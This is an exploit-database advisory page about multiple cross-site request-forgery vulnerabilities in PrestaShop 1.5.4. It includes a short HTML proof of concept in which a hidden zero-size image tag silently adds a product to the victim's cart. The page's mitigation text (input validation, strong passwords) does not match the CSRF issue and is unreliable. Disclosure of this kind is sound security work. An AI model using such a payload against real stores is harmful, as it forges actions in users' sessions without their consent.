header-logo
Suggest Exploit
vendor:
PrestaShop
by:
SecurityFocus
7,5
CVSS
HIGH
Cross-Site Request-Forgery
352
CWE
Product Name: PrestaShop
Affected Version From: PrestaShop 1.5.4
Affected Version To: PrestaShop 1.5.4
Patch Exists: YES
Related CWE: N/A
CPE: a:prestashop:prestashop
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2014

PrestaShop Multiple Cross-Site Request-Forgery Vulnerabilities

PrestaShop is prone to multiple cross-site request-forgery vulnerabilities. Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. An example exploit code is provided which adds a product to the cart by using a malicious image tag.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized. Additionally, applications should implement a strict policy that requires users to use strong passwords.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/61158/info

PrestaShop is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

PrestaShop 1.5.4 is vulnerable; other versions may also be affected. 

<html>
<head>
<body>
<img src="http://www.example.com/language/cart?add=&id_product=[Product ID]" width=0 height=0>
</body>
</head>
</html>

Navigation

Suggest Exploit

Services By CQR